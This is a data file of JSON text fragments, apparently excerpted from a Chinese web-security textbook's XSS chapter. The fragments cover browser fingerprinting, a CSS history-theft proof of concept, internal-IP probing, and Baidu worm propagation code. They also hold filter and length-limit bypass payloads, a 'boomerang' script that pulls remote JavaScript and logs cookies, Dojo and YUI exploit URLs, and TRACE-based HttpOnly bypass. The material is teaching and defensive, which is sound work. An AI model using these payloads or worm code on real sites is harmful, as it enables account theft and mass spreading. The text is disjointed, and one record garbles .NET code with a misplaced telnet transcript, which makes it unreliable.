    {"text": "参考以下代码： if (window.ActiveXObject){ // MSIE 6.0 or below //判断是否是IE 7以上 if (document.documentElement && typeof document.documentElement.style.maxHeight!= \"undefined\" ){ //判断是否是 IE 8+ if ( typeof document.adoptNode != \"undefined\") { // Safari3 & FF & Opera & Chrome & IE8 //MSIE 8.0 因为同时满足 前两个if判断，所以//在这里是IE 8 } // MSIE 7.0 否则就是IE 7 } return \"msie\"; } else if (typeof window.opera != \"undefined\") { //Opera独占 // \"Opera \"+window.opera.version() return \"opera\"; } else if (typeof window.netscape != \"undefined\") { //Mozilla 独占 // \"Mozilla\" // 可以准确识别大版本 if (typeof window.Iterator != \"undefined\") { // Firefox 2 以上支持这个对象 if (typeof document.styleSheetSets != \"undefined\") { // Firefox 3 & Opera 9 // Firefox 3 同时满足这些条件的必然 是 Firefox 3了 } } return \"mozilla\"; } else if (typeof window.pageXOffset != \"undefined\") { // Mozilla & Safari //\"Safari\" try{ if (typeof external.AddSearchProvider != \"undefined\") { // Firefox & Google Chrome //Google Chrome return \"chrome\"; } } catch (e) { return \"safari\"; } } else { //unknown //Unknown return \"unknown\"; } 这段代码，找到了几个浏览器独有的对象，能够识别浏览器的大版本。"},
    {"text": "//Firefox detector 2/3 by DoctorDan FF=/a/[-1]=='a' //Firefox 3 by me:- FF3=(function x(){})[-5]=='x' //Firefox 2 by me:- FF2=(function x(){})[-6]=='x' //IE detector I posted previously IE='\\v'=='v' //Safari detector by me Saf=/a/.__proto__=='//' //Chrome by me Chr=/source/.test((/a/.toString+'')) //Opera by me Op=/^function \\(/.test([].sort) //IE6 detector using conditionals try {IE6=@cc_on @_jscript_version <= 5.7&&@_jscript_build<10000 精简为一行代码，即： B=(function x(){})[-5]=='x'?'FF3':(function x(){})[-6]=='x'?'FF2':/a/ [-1]=='a'?'FF':'\\v'=='v'?'IE':/ a/.__proto__=='//'?'Saf':/s/. test(/a/.toString)?'Chr':/^function \\(/.test([].sort)?'Op':'Unknown' 3.2.2.4 识别用户安装的软件 知道了用户使用的浏览器、操作系统后，进一步可以识别用户安装的软件。"},
    {"text": "看如下代码： try { var Obj = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’); } catch (e){ // 异常了，不存在该控件 } 这段代码检测迅雷的一个控件（“Xun-LeiBHO.ThunderIEHelper”）是否存在。"},
    {"text": "比如Flash有一个system.capabilities对象，能够查询客户端电脑中的硬件信息： Flash的system.capabilities对象 在XSS Payload中使用时，可以在Flash的ActionScript中读取system.capabilities对象后，将结果通过ExternalInterface传给页面的JavaScript。"},
    {"text": "Firefox的插件（Plugins）列表存放在一个DOM对象中，通过查询DOM可以遍历出所有的插件： Firefox的plugins对象 所以直接查询“navigator.plugins”对象，就能找到所有的插件了。"},
    {"text": "在Firefox中有一个特殊的协议：chrome://，Firefox的扩展图标可以通过这个协议被访问到。 比如Flash Got扩展的图标，可以这样访问： chrome://flashgot/skin/icon32.png 扫描Firefox扩展时，只需在JavaScript中加载这张图片，如果加载成功，则扩展存在；"},
    {"text": "var m = new Image(); m.onload = function() { alert(1); //图片存在 }; m.onerror = function() { alert(2); //图片不存在 }; m.src = \"chrome://flashgot/skin/ icon32.png\"; //连接图片 3.2.2.5 CSS History Hack 我们再看看另外一个有趣的XSS Payload——通过CSS，来发现一个用户曾经访问过的网站。"},
    {"text": "这个技巧最早被Jeremiah Grossman发现，其原理是利用style的visited属性——如果用户曾经访问过某个链接，那么这个链接的颜色会变得与众不同： <body> <a href=# >曾经访问过的</a> <a href=\"notexist\" >未曾访问过的</a> </body> 浏览器会将点击过的链接示以不同的颜色： 安全研究者Rsnake公布了一个POC，其效果如下： Rsnake演示的攻击效果 红色标记的，就是用户曾经访问过的网站（即Visited下的两个网站）。"},
    {"text": "这个POC代码如下： <script> <!-- /* NAME: JavaScript History Thief AUTHOR: Jeremiah Grossman BSD LICENSE: Copyright (c) 2006, WhiteHat Security, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the WhiteHat Security nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* A short list of websites to loop through checking to see if the victim has been there. Without noticable performance overhead, testing couple of a couple thousand URL's is possible within a few seconds. */ var websites = [ \"http://ha.ckers.org/blog/\", \"http://login.yahoo.com/\", \"http://mail.google.com/\", \"http://mail.yahoo.com/\", \"http://my.yahoo.com/\", \"http://sla.ckers.org/forum/\", \"http://slashdot.org/\", \"http://www.amazon.com/\", \"http://www.aol.com/\", \"http://www.apple.com/\", \"http://www.bankofamerica.com/\", \"http://www.bankone.com/\", \"http://www.blackhat.com/\", \"http://www.blogger.com/\", \"http://www.bofa.com/\", \"http://www.capitalone.com/\", \"http://www.cgisecurity.com/\", \"http://www.chase.com/\", \"http://www.citibank.com/\", \"http://www.cnn.com/\", \"http://www.comerica.com/\", \"http://www.e-gold.com/\", \"http://www.ebay.com/\", \"http://www.etrade.com/\", \"http://www.flickr.com/\", \"http://www.google.com/\", \"http://www.hsbc.com/\", \"http://www.icq.com/\", \"http://www.live.com/\", \"http://www.microsoft.com/\", \"https://commerce.blackhat.com/\", ]; /* Loop through each URL */ for (var i = 0; i < websites.length; i++) { /* create the new anchor tag with the appropriate URL information */ var link = document.createElement(\"a\"); link.id = \"id\" + i; link.href = websites[i]; link.innerHTML = websites[i]; /* create a custom style tag for the specific link. Set the CSS visited selector to a known value, in this case red */ document.write('<style>'); document.write('#id' + i + \":visited {color: #FF0000;}\"); document.write('</style>'); /* quickly add and remove the link from the DOM with enough time to save the visible computed color. */ document.body.appendChild(link); var color = document.defaultView.getComputedStyle(link,nu ll).getPropertyValue(\"color\"); document.body.removeChild(link); /* check to see if the link has been visited if the computed color is red */ if (color == \"rgb(255, 0, 0)\") { // visited /* add the link to the visited list */ var item = document.createElement('li'); item.appendChild(link); document.getElementById('visited').appendChi ld(item); } else { // not visited /* add the link to the not visited list */ var item = document.createElement('li'); item.appendChild(link); document.getElementById('notvisited').append Child(item); } // end visited color check if } // end URL loop // --> </script> 但是Firefox在2010年3月底决定修补这个问题，因此，未来这种信息泄露的问题可能在Mozilla浏览器中不会再继续存在了。"},
    {"text": "在XSS攻击框架“Attack API”中，就有一个获取本地IP地址的API： /** * @cat DOM * @name AttackAPI.dom.getInternalIP * @desc get internal IP address * @return {String} IP address */ AttackAPI.dom.getInternalIP = function () { try { var sock = new java.net.Socket(); sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)? 80:document.location.port)); return sock.getLocalAddress().getHostAddress(); } catch (e) {} return '127.0.0.1'; }; 此外，还有两个利用Java获取本地网络信息的API： /** * @cat DOM * @name AttackAPI.dom.getInternalHostname * @desc get internal hostname * @return {String} hostname */ AttackAPI.dom.getInternalHostname = function () { try { var sock = new java.net.Socket(); sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)? 80:document.location.port)); return sock.getLocalAddress().getHostName(); } catch (e) {} return 'localhost'; }; /** * @cat DOM * @name AttackAPI.dom.getInternalNetworkInfo * @desc get the internal network information * @return {Object} network information object */ AttackAPI.dom.getInternalNetworkInfo = function () { var info = {hostname: 'localhost', IP: '127.0.0.1'}; try { var sock = new java.net.Socket(); sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)? 80:document.location.port)); info.IP = sock.getLocalAddress().getHostAddress(); info.hostname = sock.getLocalAddress().getHostName(); } catch (e) {} return info; }; 这种方法需要攻击者写一个Java Class，嵌入到当前页面中。"},
    {"text": "Metasploit引擎曾展示过一个强大的测试页面，综合了Java Applet、Flash、iTunes、OfficeWord、QuickTime等第三方软件的功能，抓取用户的本地信息，有兴趣深入研究的读者可以参考。"},
    {"text": "BeEF有一个控制后台，攻击者可以在后台控制前端的一切。 BeFF的后台界面 每个被XSS攻击的用户都将出现在后台，后台控制者可以控制这些浏览器的行为，并可以通过XSS向这些用户发送命令。"},
    {"text": "XSS-Proxy XSS-Proxy是一个轻量级的XSS攻击平台，通过嵌套iframe的方式可以实时地远程控制被XSS攻击的浏览器。 XSS-Proxy的实现原理 这些XSS攻击平台有助于深入理解XSS的原理和危害。"},
    {"text": "SamyKamkar的蠕虫在短短几小时内就感染了100万用户——它在每个用户的自我简介后边加了一句话：“but most of all, Samy is my hero.”（Samy是我的偶像）。"},
    {"text": "比如： <div style=\"background:url('javascript:alert(1)')\" > 其次，MySpace同时还过滤了“javascript”、“onreadystatechange”等敏感词，所以Samy用了“拆分法”绕过这些限制。"},
    {"text": "一般来说，用户之间发生交互行为的页面，如果存在存储型XSS，则比较容易发起XSS Worm攻击。 比如，发送站内信、用户留言等页面，都是XSS Worm的高发区，需要重点关注。 而相对的，如果一个页面只能由用户个人查看，比如“用户个人资料设置”页面，因为缺乏用户之间互动的功能，所以即使存在XSS，也不能被用于XSS Worm的传播。 3.2.4.2 百度空间蠕虫 下面这个XSS Worm的案例来自百度。 2007年12月，百度空间的用户忽然互相之间开始转发垃圾短消息，后来百度工程师紧急修复了这一漏洞： 百度空间的XSS蠕虫公告 这次事件，是由XSS Worm造成的。"},
    {"text": "另外比较强大的一点就是跟真正的虫子一样，不只是被动地等待，选择在好友发消息时引诱别人过来访问自己的blog，利用好奇心可以做到这点。 最后还加了个给在线人随机发消息请求加链接，威力可能更大，因为会创造比较大的基数，这样一感染就是一个blog。"},
    {"text": "\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n \\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\"+myhibai du; var D=function(A,B){A[A.length]=B;}; re = /(.+)D\\(k\\,\\[([^\\]]+?)\\]\\)(.*)/g; friends = s.match(re); eval(friends[0]); for(i in k) { eval('msgimg'+i+'=new Image();'); eval('msgimg'+i +'.src=\"http://msg.baidu.com/? ct=22&cm=MailSend&tn=bmSubmit&sn=\"+URLE ncoding(k[i] [2])+\"&co=\"+URLEncoding(evilmsg)+\"&vcodeinput =\";'); } } 后来又增加了一个传播函数，不过那个时候百度已经开始屏蔽此蠕虫了： function onlinemsg(){ doit=Math.floor(Math.random() * (600 + 1)); if(doit>500) { evilonlinemsg=\"哈哈,还记得我不,加个友情链接 吧?\\r\\n\\r\\n\\r\\n我的地址是\"+myhibaidu; xmlDoc=new ActiveXObject(\"Microsoft.XMLDOM\"); xmlDoc.async=false; xmlDoc.load(\"http://hi.baidu.com/sys/file/ moreonline.xml\"); online=xmlDoc.documentElement; users=online.getElementsByTagName(\"id\"); x=Math.floor(Math.random() * (200 + 1)); eval('msgimg'+x+'=new Image();'); eval('msgimg'+x +'.src=\"http://msg.baidu.com/? ct=22&cm=MailSend&tn=bmSubmit&sn= \"+URLEncoding(users[x].text)+\"&co=\"+URLEncodi ng(evilonlinemsg)+\"&vcodeinput=\";'); } } 攻击者想要通过XSS做坏事是很容易的，而XSS Worm则能够把这种破坏无限扩大，这正是大型网站所特别担心的事情。"},
    {"text": "Firebug 这是最常用的脚本调试工具，前端工程师与Web Hacking必备，被喻为“居家旅行的瑞士军刀”。 Firebug非常强大，它有好几个面板，可以查看页面的DOM节点。 Firebug的界面 调试JavaScript：在Firebug中调试JavaScript 查看HTML与CSS：在Firebug中查看HTML与CSS 毋庸置疑，Firebug是JavaScript调试的第一利器。"},
    {"text": "IE 8 Developer Tools 在IE 8中，为开发者内置了一个JavaScriptDebugger，可以动态调试JavaScript。 IE 8的开发者工具界面 在需要调试IE而又没有其他可用的JavaScript Debugger时，IE 8 Developer Tools是个不错的选择。"},
    {"text": "Fiddler的界面 HttpWatch HttpWatch是一个商业软件，它以插件的形式内嵌在浏览器中。 HttpWatch的界面 HttpWatch也能够监控所有的浏览器请求，在目标网站是HTTPS时会特别有用。"},
    {"text": "百度在一个<script>标签中输出了一个变量，其中转义了双引号： var redirectUrl=\"\\\";alert(/XSS/);\"; 一般来说，这里是没有XSS漏洞的，因为变量处于双引号之内，系统转义了双引号导致变量无法“escape”。"},
    {"text": "在Firefox下会认为这是一个字符，所以构造： %c1\";alert(/XSS/);// 并提交： 提交的数据包 在Firefox下得到如下效果： 在Firefox下的效果 这两个字节：“%c1\\”组成了一个新的Uni-code字符，“%c1”把转义符号“\\”给“吃掉了”，从而绕过了系统的安全检查，成功实施了XSS攻击。"},
    {"text": "3.2.6.2 绕过长度限制 很多时候，产生XSS的地方会有变量的长度限制，这个限制可能是服务器端逻辑造成的。 假设下面代码存在一个XSS漏洞： <input type=text value=\"$var\" /> 服务器端如果对输出变量“$var”做了严格的长度限制，那么攻击者可能会这样构造XSS： $var为： \"><script>alert(/xss/)</script> 希望达到的输出效果是： <input type=text value=\"\"><script>alert(/ xss/)</script>\" /> 假设长度限制为20个字节，则这段XSS会被切割为： $var 输出为： \"><script> alert(/xss 连一个完整的函数都无法写完，XSS攻击可能无法成功。"},
    {"text": "攻击者可以利用事件（Event）来缩短所需要的字节数： $var 输出为： \"onclick=alert(1)// 加上空格符，刚好够20个字节，实际输出为： <input type=text value=\"\" onclick=alert(1)// \"/> 当用户点击了文本框后，alert()将执行： 恶意脚本被执行 但利用“事件”能够缩短的字节数是有限的。"},
    {"text": "而且根据HTTP协议，location.hash的内容不会在HTTP包中发送，所以服务器端的Web日志中并不会记录下location.hash里的内容，从而也更好地隐藏了黑客真实的意图。"},
    {"text": "$var 输出为： \" onclick=\"eval(location.hash.substr(1)) 总共是40个字节。 输出后的HTML是： <input type=\"text\" value=\"\" onclick=\"eval(location.hash.substr(1)) \" /> 因为location.hash的第一个字符是 # ，所以必须去除第一个字符才行。 此时构造出的XSS URL为： http://www.a.com/test.html#alert(1) 用户点击文本框时，location.hash里的代码执行了。 location.hash里的脚本被执行 location.hash本身没有长度限制，但是浏览器的地址栏是有长度限制的，不过这个长度已经足够写很长的XSS Payload了。"},
    {"text": "此时可以利用HTML的“注释符号”，把两个文本框之间的HTML代码全部注释掉，从而“打通”两个<input>标签。 <input id=1 type=\"text\" value=\"\" /> xxxxxxxxxxxxx <input id=2 type=\"text\" value=\"\" /> 在第一个input框中，输入： \"><!-- 在第二个input框中，输入： --><script>alert(/xss/);</script> 最终的效果是： <input id=1 type=\"text\" value=\"\"><!--\" /> xxxxxxxxxxxxxxxxx <input id=2 type=\"text\" value=\"-- ><script>alert(/xss/);</script>\" /> 中间的代码全部被 <!-- … --> 给注释掉了！"},
    {"text": "比如，打开一张不存在的图片： <body> <img src=\"/intl/en_AL../Images/srpr/ logo1w.png\" /> </body> 测试页面 这张图片实际上是Google的一张图片，原地址为： http://www.google.com/intl/en_AL../Images/ srpr/logo1w.png 在<img>标签前加入一个<base>标签： <body> <base href=\"http://www.google.com\" /> <img src=\"/intl/en_AL../Images/srpr/ logo1w.png\" /> </body> <base>标签将指定其后的标签默认从“http://www.google.com”取URL： 测试页面 图片被找到了。"},
    {"text": "比如： <base href=\"http://www.evil.com\" /> …. <script src=\"x.js\" ></script> …. <img src=\"y.jpg\" /> … <a href=\"auth.do\" >auth</a> 所以在设计XSS安全方案时，一定要过滤掉这个非常危险的标签。"},
    {"text": "假设“www.a.com/test.html”的代码为： <body> <script> window.name = \"test\"; alert(document.domain+\" \"+window.name); window.location = \"http://www.b.com/ test1.html\"; </script> </body> 这段代码将window.name赋值为test，然后显示当前域和window.name的值，最后将页面跳转到“www.b.com/test1.html”。 “www.b.com/test1.html”的代码为： alert(document.domain+\" \"+window.name); </script> </body> 这里显示了当前域和window.name的值。 最终效果如下，访问“www.a.com/test.html”： 测试页面 window.name赋值成功，然后页面自动跳转到“www.b.com/test1.html”： 测试页面 这个过程实现数据的跨域传递：“test”这个值从www.a.com传递到www.b.com。"},
    {"text": "使用window.name可以缩短XSS Payload的长度，如下所示： <script> window.name = \"alert(document.cookie)\"; locaton.href = \"http://www.xssedsite.com/ xssed.php\"; </script> 在同一窗口打开XSS的站点后，只需通过XSS执行以下代码即可： eval(name); 只有11个字节，短到了极点。"},
    {"text": "而有的XSS漏洞，则被认为只能够攻击自己，属于“鸡肋”漏洞。 但随着时间的推移，数个曾经被认为是无法利用的XSS漏洞，都被人找到了利用方法。"},
    {"text": "向服务器提交： GET / HTTP/1.1 Accept: */* Accept-Language: en-gb Content-Type: application/x-www-form- urlencoded Expect: <script>alert('http://www.whiteacid.org is vulnerable to the Expect Header vulnerability.');</script> Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Host: www.whiteacid.org Connection: Keep-Alive 服务器返回： HTTP/1.1 417 Expectation Failed Date: Thu, 21 Sep 2006 20:44:52 GMT Server: Apache/1.3.33 (Unix) mod_throttle/3.1.2 DAV/1.0.3 mod_fastcgi/2.4.2 mod_gzip/1.3.26.1a PHP/4.4.2 mod_ssl/2.8.22 OpenSSL/0.9.7e Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-1 1ba <!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"> <HTML><HEAD> <TITLE>417 Expectation Failed</TITLE> </HEAD><BODY> <H1>Expectation Failed</H1> The expectation given in the Expect request- header field could not be met by this server.<P> The client sent<PRE> Expect: <script>alert('http://www.whiteacid.org is vulnerable to the Expect Header vulnerability.');</script> </PRE> but we only allow the 100-continue expectation. </BODY></HTML> 0 注意到服务器在出错返回时，会把Expect头的内容未经任何处理便写入到页面中，因此Expect头中的HTML代码就被浏览器解析执行了。"},
    {"text": "如下是Amit Klein的演示代码： //Credits to Amit Klein as he wrote this, I just decompiled it inURL = this._url; inPOS = inURL.lastIndexOf(\"?\"); inParam = inURL.substring(inPOS + 1, inPOS.length); req = new LoadVars(); req.addRequestHeader(\"Expect\", \"<script>alert(\\'\" + inParam + \" is vulnerable to the Expect Header vulnerability.\\ ');</script>\"); <body> <script>alert(\\'\" + inParam + \" is vulnerable to the Expect Header vulnerability.\\ ');</script>\"); req.send(inParam, \"_blank\", \"POST\"); 正因为此，Flash在新版本中禁止用户自定义发送Expect头。 但后来发现可以通过注入HTTP头的方式绕过这个限制： req.addRequestHeader(\"Expect:FooBar\",\"<script >alert('XSS')</script>\"); 目前Flash已经修补好了这些问题。"},
    {"text": "回旋镖的思路就是：如果在B域上存在一个反射型“XSS_B”，在A域上存在一个存储型“XSS_A”，当用户访问A域上的“XSS_A”时，同时嵌入B域上的“XSS_B”，则可以达到在A域的XSS攻击B域用户的目的。"},
    {"text": "我们知道，在IE中，<iframe>、<img>、<link>等标签都会拦截“第三方Cookie”的发送，而在Firefox中则无这种限制（第三方Cookie即指保存在本地的Cookie，也就是服务器设置了expire时间的Cookie）。"},
    {"text": "所以，对于Firefox来说，要实现回旋镖的效果非常简单，只需要在XSS_A处嵌入一个iframe即可： <iframe src=\"http://www.b.com/?xss.... \" ></ iframe> 但是对于IE来说，则要麻烦很多。"},
    {"text": "代码如下： var target = \"http://www.b.com/ xssDemo.html#'><script src=http://www.a.com/anehta/feed.js></ script><'\"; var org_url = \"http://www.a.com/anehta/ demo.html\"; var target_domain = target.split('/'); target_domain = target_domain[2]; var org_domain = org_url.split('/'); org_domain = org_domain[2]; ///////////////////////////////////////////// /////////// // boomerang 回旋镖模块，获取第三方远程站点的Cookie // 并将页面重定向回当前页面 // 要求远程站点存在一个XSS //// Author: axis ///////////////////////////////////////////// ////////// // 如果是当前页面，则向目标提交 if ($d.domain == org_domain){ if (anehta.dom.checkCookie(\"boomerang\") == false){ // 在Cookie里做标记，只弹一次 anehta.dom.addCookie(\"boomerang\", \"x\"); setTimeout( function (){ try { anehta.net.postForm(target); } catch (e){ //alert(e); } }, 50); } } // 如果是目标站点，则重定向回前页面 if ($d.domain == target_domain){ anehta.logger.logCookie(); setTimeout( function (){ // 弹回原来的页面 anehta.net.postForm(org_url); }, 50); } 如果能在B域上找到一个302跳转的页面，也可以不使用form表单，这样会更加方便。"},
    {"text": "在Flash中是可以嵌入ActionScript脚本的。 一个最常见的Flash XSS可以这样写： getURL(\"javascript:alert(document.cookie)\") 将Flash嵌入页面中： <embed src=\"http://yourhost/evil.swf\" pluginspage=\"http://www.macromedia.com/ shockwave/download/index.cgi? P1_Prod_Version=S hockwaveFlash\" type=\"application/x-shockwave-flash\" width=\"0\" height=\"0\" ></embed> ActionScript是一种非常强大和灵活的脚本，甚至可以使用它发起网络连接，因此应该尽可能地禁止用户能够上传或加载自定义的Flash文件。"},
    {"text": "如果是带动态脚本的Flash，则可以通过Flash的配置参数进行限制。 常见的嵌入Flash的代码如下： <object classid=\"clsid:d27cdb6e- ae6d-11cf-96b8-444553540000\" codebase=\"http://fpdownload.macromedia.com/ pub/shockwave/cabs/flash/swflash.cab#versi on=8,0,0,0\" name=\"Main\" width=\"1000\" height=\"600\" align=\"middle\" id=\"Main\"> <embed flashvars=\"site=&sitename=\" src='Loading.swf?user=453156346' width=\"1000\" height=\"600\" align=\"middle\" quality=\"high\" name=\"Main\" allowscriptaccess=\"sameDomain\" type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/ getflashplayer\" /> </object> 限制Flash动态脚本的最重要的参数是“al-lowScriptAccess”，这个参数定义了Flash能否与HTML页面进行通信。"},
    {"text": "但是这段代码缺乏输入验证，可以被XSS攻击： http://url/to/flash-file.swf? clickTAG=javascript:alert('xss') 安全研究者Stefano Di Paola曾经写了一个叫“SWFIntruder”的工具来检测产生在Flash里的XSS漏洞，通过这个工具可以检测出很多注入Flash变量导致的XSS问题。 SWFIntruder的界面 要修补本例中的漏洞，可以使用输入检查的方法： on (release) { if (_root.clickTAG.substring(0,5)== \"http:\" || _root.clickTAG.substring(0,6)== \"https:\" || _root.clickTAG.substring(0,1)== \"/\") { getURL (_root.clickTAG, \"_blank\"); } } Flash XSS往往被开发者所忽视。 注入Flash变量的XSS，因为其问题出现在编译后的Flash文件中，一般的扫描工具或者代码审计工具都难以检查，常常使其成为漏网之鱼。"},
    {"text": "3.2.9 真的高枕无忧吗：JavaScript 开发框架 在Web前端开发中，一些JavaScript开发框架深受开发者欢迎。 利用JavaScript开发框架中的各种强大功能，可以快速而简洁地完成前端开发。"},
    {"text": "在Dojo 1.4.1中，存在两个“DOM Based XSS”： File: dojo-release-1.4.1-src\\dojo- release-1.4.1-src\\dijit\\tests\\_testCommon.js 用户输入由theme参数传入，然后被赋值给变量themeCss，最终被document.write到页面里： Line 25: var str = window.location.href.substr(window.location.h ref.indexOf(\"?\")+1).split(/#/); Line 54: ..snip.. var themeCss = d.moduleUrl(\"dijit.themes\",theme+\"/\"+theme +\".css\"); var themeCssRtl = d.moduleUrl(\"dijit.themes\",theme+\"/\"+theme +\"_rtl.css\"); document.write('<link rel=\"stylesheet\" type=\"text/css\" href=\"'+themeCss+'\">'); document.write('<link rel=\"stylesheet\" type=\"text/css\" href=\"'+themeCssRtl+'\">'); 所以凡是引用了_testCommon.js的文件，都受影响。 POC如下： http://WebApp/dijit/tests/form/ test_Button.html?theme=\"/><script>alert(/ xss/)</script> 类似的问题还存在于： File: dojo-release-1.4.1-src\\dojo- release-1.4.1-src\\util\\doh\\runner.html 它也是从window.location传入了用户能够控制的数据，最终被document.write到页面： Line 40: var qstr = window.location.search.substr(1); ..snip.. Line 64: document.write(\"<scr\"+\"ipt type='text/ javascript' djConfig='isDebug: true' src='\"+dojoUrl+\"'></scr\"+\"ipt>\"); ..snip.. document.write(\"<scr\"+\"ipt type='text/ javascript' src='\"+testUrl+\".js'></ scr\"+\"ipt>\"); POC如下： http://WebApp/util/doh/runner.html?dojoUrl='/ >foo</script><' \"<script>alert(/xss/)</script> 这些问题在Dojo 1.4.2版本中已经得到修补。"},
    {"text": "YUI的History Manager功能中有这样一个问题，打开官方的demo页： http://developer.yahoo.com/yui/examples/ history/history-navbar_source.html 点击一个Tab页，等待页面加载完成后，在URL的hash中插入恶意脚本。"},
    {"text": "构造的XSS如下： http://developer.yahoo.com/yui/examples/ history/history-navbar_source.html#navbar=hom e<script>alert(1)</script> 脚本将得到执行。"},
    {"text": "其原因是在history.js的_updateIframe方法中信任了用户可控制的变量： html = '<html><body><div id=\"state\">' + fqstate + '</div></body></html>; 最后被写入到页面导致脚本执行。"},
    {"text": "这个过程中有可能产生“DOM Based XSS”： $('div.demo-container').html(\"<img src=# onerror=alert(1) />\"); 如上，如果用户能够控制输入，则必然会产生XSS。"},
    {"text": "使用JavaScript框架并不能让开发者高枕无忧，同样可能存在安全问题。 除了需要关注框架本的安全外，开发者还要提高安全意识，理解并正确地使用开发框架。"},
    {"text": "以下浏览器开始支持HttpOnly： Microsoft IE 6 SP1+ Mozilla Firefox 2.0.0.5+ Mozilla Firefox 3.0.0.6+ Google Chrome Apple Safari 4.0+ Opera 9.5+ 严格地说，HttpOnly并非为了对抗XSS——HttpOnly解决的是XSS后的Cookie劫持攻击。"},
    {"text": "Step1：浏览器向服务器发起请求，这时候没有Cookie。 Step2：服务器返回时发送Set-Cookie头，向客户端浏览器写入Cookie。 Step3：在该Cookie到期前，浏览器访问该域下的所有页面，都将发送该Cookie。"},
    {"text": "HttpOnly是在Set-Cookie时标记的： Set-Cookie: <name>=<value>[; <Max-Age>=<age>] [; expires=<date>][; domain=<domain_name>] [; path=<some_path>][; secure][; HttpOnly] 需要注意的是，服务器可能会设置多个Cookie（多个key-value对），而HttpOnly可以有选择性地加在任何一个Cookie值上。"},
    {"text": "<?php header(\"Set-Cookie: cookie1=test1;\"); header(\"Set-Cookie: cookie2=test2;httponly\", false); ?> <script> alert(document.cookie); </script> 在这段代码中，cookie1没有HttpOnly，cookie2被标记为HttpOnly。 两个Cookie均被写入浏览器： 测试页面的HTTP响应头 浏览器确实接收了两个Cookie： 浏览器接收到两个Cookie 但是只有cookie1被JavaScript读取到： cookie1被JavaScript读取 HttpOnly起到了应有的作用。 在不同的语言中，给Cookie添加HttpOnly的代码如下： Java EE response.setHeader(\"Set-Cookie\", \"cookiename=value; Path=/;Domain=domainvalue;Max-Ag e=seconds;HTTPOnly\"); C# HttpCookie myCookie = new HttpCookie(\"myCookie\"); myCookie.HttpOnly = true; Response.AppendCookie(myCookie); VB.NET Dim myCookie As HttpCookie = new HttpCookie(\"myCookie\") myCookie.HttpOnly = True Response.AppendCookie(myCookie) 但是在.NET 1.1中需要手动添加： $ telnet foo.com 80 Trying 127.0.0.1... Connected to foo.bar. Escape character is ‘^]’. TRACE / HTTP/1.1 Host: foo.bar X-Header: test HTTP/1.1 200 OK Date: Mon, 02 Dec 2002 19:24:51 GMT Server: Apache/2.0.40 (Unix) Content-Type: message/http TRACE / HTTP/1.1 Host: foo.bar X-Header: test Response.Cookies[cookie].Path += \";HTTPOnly\"; PHP 4 header(\"Set-Cookie: hidden=value; httpOnly\"); PHP 5 setcookie(\"abc\", \"test\", NULL, NULL, NULL, NULL, TRUE); 最后一个参数为HttpOnly属性。"},
    {"text": "$ telnet foo.com 80 Trying 127.0.0.1... Connected to foo.bar. Escape character is ‘^]’. TRACE / HTTP/1.1 Host: foo.bar X-Header: test HTTP/1.1 200 OK Date: Mon, 02 Dec 2002 19:24:51 GMT Server: Apache/2.0.40 (Unix) Content-Type: message/http TRACE / HTTP/1.1 Host: foo.bar X-Header: test 利用这个特性，可以把HttpOnly Cookie读出来。 <script type=\"text/javascript\"> <!-- function sendTrace () { var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\"); xmlHttp.open(\"TRACE\", \"http://foo.bar\",false); xmlHttp.send(); xmlDoc=xmlHttp.responseText; alert(xmlDoc); } //--> </script> <INPUT TYPE=BUTTON OnClick=\"sendTrace();\" VALUE=\"Send Trace Request\"> 结果如下： JavaScript读取到cookie 目前各厂商都已经修补了这些漏洞，但是未来也许还会有新的漏洞出现。"},
    {"text": "3.3.2 输入检查 常见的Web漏洞如XSS、SQL Injection等，都要求攻击者构造一些特殊字符，这些特殊字符可能是正常用户不会用到的，所以输入检查就有存在的必要了。"},
    {"text": "XSS Filter还有一个问题——其对“<”、“>”等字符的处理，可能会改变用户数据的语义。 比如，用户输入： 1+1<3 对于XSS Filter来说，发现了敏感字符“<”。 如果XSS Filter不够“智能”，粗暴地过滤或者替换了“<”，则可能会改变用户原本的意思。"},
